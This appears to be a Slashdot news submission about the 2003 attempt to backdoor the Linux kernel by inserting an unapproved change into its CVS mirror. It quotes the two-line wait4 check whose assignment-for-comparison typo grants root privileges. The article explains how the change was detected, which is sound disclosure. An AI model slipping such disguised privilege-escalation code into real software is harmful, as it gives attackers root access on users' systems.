Beta
×

Welcome to the Slashdot Beta site -- learn more here. Use the link in the footer or click here to return to the Classic version of Slashdot.

Thank you!

Before you choose to head back to the Classic look of the site, we'd appreciate it if you share your thoughts on the Beta; your feedback is what drives our ongoing development.

Beta is different and we value you taking the time to try it out. Please take a look at the changes we've made in Beta and  learn more about it. Thanks for reading, and for making the site better!

The Linux Backdoor Attempt of 2003

Hugh Pickens DOT Com (2995471) writes | about 10 months ago

0

Hugh Pickens DOT Com (2995471) writes "Ed Felton writes about an incident, in 2003, in which someone tried to backdoor the Linux kernel. Back in 2003 Linux used a system called BitKeeper to store the master copy of the Linux source code. If a developer wanted to propose a modification to the Linux code, they would submit their proposed change, and it would go through an organized approval process to decide whether the change would be accepted into the master code. But some people didn’t like BitKeeper, so a second copy of the source code was kept so that developers could get the code via another code system called CVS. On November 5, 2003, Larry McAvoy noticed that there was a code change in the CVS copy that did not have a pointer to a record of approval. Investigation showed that the change had never been approved and, stranger yet, that this change did not appear in the primary BitKeeper repository at all. Further investigation determined that someone had apparently broken in electronically to the CVS server and inserted this change.

if ((options == (__WCLONE|__WALL)) && (current->uid = 0))
retval = -EINVAL;

A casual reading by an expert would interpret this as innocuous error-checking code to make wait4 return an error code when wait4 was called in a certain way that was forbidden by the documentation. But a really careful expert reader would notice that, near the end of the first line, it said “= 0” rather than “== 0” so the effect of this code is to give root privileges to any piece of software that called wait4 in a particular way that is supposed to be invalid. In other words it’s a classic backdoor. We don’t know who it was that made the attempt—and we probably never will. But the attempt didn’t work, because the Linux team was careful enough to notice that that this code was in the CVS repository without having gone through the normal approval process. "Could this have been an NSA attack? Maybe. But there were many others who had the skill and motivation to carry out this attack," writes Felton. "Unless somebody confesses, or a smoking-gun document turns up, we’ll never know.""

cancel ×

0 comments

Sorry! There are no comments related to the filter you selected.

Check for New Comments
Slashdot Login

Need an Account?

Forgot your password?

Submission Text Formatting Tips

We support a small subset of HTML, namely these tags:

  • b
  • i
  • p
  • br
  • a
  • ol
  • ul
  • li
  • dl
  • dt
  • dd
  • em
  • strong
  • tt
  • blockquote
  • div
  • quote
  • ecode

"ecode" can be used for code snippets, for example:

<ecode>    while(1) { do_something(); } </ecode>